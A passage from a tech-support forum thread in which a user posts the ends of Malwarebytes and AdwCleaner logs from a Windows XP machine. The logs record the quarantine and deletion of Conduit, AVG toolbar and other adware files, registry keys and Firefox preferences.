    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.text-overflow.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.tmpl.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.xml2json.custom.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.xml2json.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\json2.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\json2.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\script2injectEmbedded.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\script2injectPopup.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\sdk.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.alerts\jquery.alerts.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.alerts\jquery.alerts.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.alerts\images\help.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.alerts\images\important.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.alerts\images\info.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.alerts\images\title.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.jscrollpane\jquery.jscrollpane.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\lib\jquery.jscrollpane\jquery.jscrollpane.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\sl\serviceLayer.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\backstage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\frontstage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\navigationTests.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\popup.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\js\framework.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\lib\jquery-1.4.1.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\lib\jquery-1.5.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\lib\jquery-1.6.2.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\lib\json2.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\lib\LAB.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\lib\log4javascript.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\test\toolbar\lib\log4javascriptStub4Release.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\components\autoCompleteManager.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\components\mam\mamModule.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\defaults\preferences\defaults.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\lib\log4conduit.jsm, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\lib\log4moz.jsm, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\META-INF\manifest.mf, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\META-INF\zigbert.rsa, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\META-INF\zigbert.sf, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\modules\BackStage.jsm, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\modules\Commons.jsm, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\modules\FrontStage.jsm, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Plugins\np-mswmp.dll, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.Conduit, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js, Good: (), Bad: (user_pref("CT2438727.SearchFromAddressBarUrl", "http://search.conduit.com/ResultsExt.aspx?ctid=CT2438727&q=");), Replaced,[f1c62a54aedd82b42f0592e954b08b75]

    Physical Sectors: 0
    (No malicious items detected)


    (end)
     
  15. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    # AdwCleaner v5.021 - Logfile created 17/11/2015 at 08:28:02
    # Updated 14/11/2015 by Xplode
    # Database : 2015-11-13.3 [Server]
    # Operating system : Microsoft Windows XP Service Pack 3 (x86)
    # Username : Geny - GENY-380
    # Running from : C:\Documents and Settings\Geny\Desktop\adwcleaner_5.021.exe
    # Option : Cleaning
    # Support : http://toolslib.net/forum

    ***** [ Services ] *****


    ***** [ Folders ] *****

    [-] Folder Deleted : C:\Documents and Settings\All Users\Application Data\AVG Security Toolbar
    [-] Folder Deleted : C:\Documents and Settings\All Users\Start Menu\Programs\Coupons
    [-] Folder Deleted : C:\Documents and Settings\Geny\Local Settings\Application Data\Conduit
    [-] Folder Deleted : C:\Documents and Settings\Geny\Local Settings\Application Data\Zynga

    ***** [ Files ] *****


    ***** [ DLLs ] *****


    ***** [ Shortcuts ] *****


    ***** [ Scheduled tasks ] *****


    ***** [ Registry ] *****

    [-] Key Deleted : HKCU\Toolbar
    [-] Key Deleted : HKLM\SOFTWARE\Classes\protector_dll.protectorbho
    [-] Key Deleted : HKLM\SOFTWARE\Classes\protector_dll.protectorbho.1
    [-] Key Deleted : HKCU\Software\Microsoft\Internet Explorer\DOMStorage\ask.com
    [-] Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{3C471948-F874-49F5-B338-4F214A2EE0B1}
    [-] Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0}
    [-] Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{7B13EC3E-999A-4B70-B9CB-2617B8323822}
    [-] Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{DE9028D0-5FFA-4E69-94E3-89EE8741F468}
    [-] Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39}
    [-] Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{21FA44EF-376D-4D53-9B0F-8A89D3229068}
    [-] Key Deleted : HKLM\SOFTWARE\Classes\Interface\{03E2A1F3-4402-4121-8B35-733216D61217}
    [-] Key Deleted : HKLM\SOFTWARE\Classes\Interface\{9E3B11F6-4179-4603-A71B-A55F4BCB0BEC}
    [-] Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{9C049BA6-EA47-4AC3-AED6-A66D8DC9E1D8}
    [-] Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0}
    [-] Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{7B13EC3E-999A-4B70-B9CB-2617B8323822}
    [-] Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0}
    [-] Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{7B13EC3E-999A-4B70-B9CB-2617B8323822}
    [-] Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{21FA44EF-376D-4D53-9B0F-8A89D3229068}
    [-] Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{3CA2F312-6F6E-4B53-A66E-4E65E497C8C0}
    [-] Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{7B13EC3E-999A-4B70-B9CB-2617B8323822}
    [-] Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{21FA44EF-376D-4D53-9B0F-8A89D3229068}
    [-] Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{B2BC04DF-EFBD-409A-95CA-36874E5AB92A}
    [-] Value Deleted : HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar [{7B13EC3E-999A-4B70-B9CB-2617B8323822}]
    [-] Value Deleted : HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar [{21FA44EF-376D-4D53-9B0F-8A89D3229068}]
    [-] Value Deleted : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{7B13EC3E-999A-4B70-B9CB-2617B8323822}]
    [-] Value Deleted : HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser [{21FA44EF-376D-4D53-9B0F-8A89D3229068}]
    [-] Value Deleted : HKCU\Software\Microsoft\Internet Explorer\URLSearchHooks [{7B13EC3E-999A-4B70-B9CB-2617B8323822}]
    [-] Key Deleted : HKCU\Software\AVG SafeGuard toolbar
    [-] Key Deleted : HKCU\Software\Conduit
    [-] Key Deleted : HKCU\Software\Avg Secure Update
    [-] Key Deleted : HKLM\SOFTWARE\AVG SafeGuard toolbar
    [-] Key Deleted : HKLM\SOFTWARE\AVG Secure Search
    [-] Key Deleted : HKLM\SOFTWARE\AVG Security Toolbar
    [-] Key Deleted : HKLM\SOFTWARE\Conduit
    [-] Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3D2C9DE6-9ADE-4252-A241-E43723B0CE02}
    [-] Key Deleted : HKU\.DEFAULT\Software\AVG SafeGuard toolbar
    [-] Key Deleted : HKU\.DEFAULT\Software\Avg Secure Update

    ***** [ Web browsers ] *****

    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727..clientLogIsEnabled", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727..clientLogServiceUrl", "hxxp://clientlog.users.conduit.com/ClientDiagnostics.asmx/ReportDiagnosticsEvent");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727..uninstallLogServiceUrl", "hxxp://uninstall.users.conduit.com/Uninstall.asmx/RegisterToolbarUninstallation");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.AboutPrivacyUrl", "hxxp://www.conduit.com/privacy/Default.aspx");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.AppTrackingLastCheckTime", "Fri Dec 16 2011 02:40:20 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.CTID", "CT2438727");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.CommunitiesChangesLastCheckTime", "0");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.CurrentServerDate", "16-12-2011");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.DialogsAlignMode", "LTR");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.DialogsGetterLastCheckTime", "Wed Dec 14 2011 18:44:36 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.DownloadReferralCookieData", "");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.FirstServerDate", "7-4-2010");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.FirstTime", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.FirstTimeFF3", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.FirstTimeSettingsDone", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.GroupingInvalidateCache", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.GroupingLastCheckTime", "0");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.GroupingLastServerUpdateTime", "0");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.GroupingServerCheckInterval", 1440);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.GroupingServiceUrl", "hxxp://grouping.services.conduit.com/");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.HasUserGlobalKeys", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.HomePageProtectorEnabled", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.Initialize", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.InitializeCommonPrefs", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.InstallationAndCookieDataSentCount", 3);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.InstalledDate", "Tue Apr 06 2010 20:16:35 GMT-0600 (Mountain Daylight Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.InvalidateCache", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.IsAlertDBUpdated", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.IsGrouping", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.IsMulticommunity", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.IsOpenThankYouPage", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.IsOpenUninstallPage", true);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.LanguagePackLastCheckTime", "Thu Dec 15 2011 18:43:42 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.LanguagePackReloadIntervalMM", 1440);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.LanguagePackServiceUrl", "hxxp://translation.users.conduit.com/Translation.ashx");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.LastLogin_2.5.8.6", "Sun Jul 18 2010 07:19:08 GMT-0600 (Mountain Daylight Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.LastLogin_2.7.1.3", "Fri Mar 25 2011 07:53:31 GMT-0600 (Mountain Daylight Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.LastLogin_3.3.3.2", "Sat Aug 20 2011 06:17:27 GMT-0600 (Mountain Daylight Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.LastLogin_3.6.0.10", "Fri Dec 16 2011 02:40:09 GMT-0700 (Mountain Standard Time)");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.LatestVersion", "3.8.1.0");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.Locale", "en");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.LoginCache", 4);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.MCDetectTooltipHeight", "83");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.MCDetectTooltipUrl", "hxxp://@EB_INSTALL_LINK@/rank/tooltip/?version=1");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.MCDetectTooltipWidth", "295");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.MyStuffEnabledAtInstallation", false);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.RadioLastCheckTime", "0");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.RadioLastUpdateIPServer", "0");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.RadioLastUpdateServer", "0");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SHRINK_TOOLBAR", 1);
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchEngine", "Searchhxxp://search.conduit.com/Results.aspx?q=UCM_SEARCH_TERM&ctid=CT2438727&octid=EB_ORIGINAL_CTID&SearchSource=1");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchEngineBeforeUnload", "chrome://browser-region/locale/region.properties");
    [-] [C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\prefs.js] [Preference] Deleted : user_pref("CT2438727.SearchFromAddressBarIsInit", true);
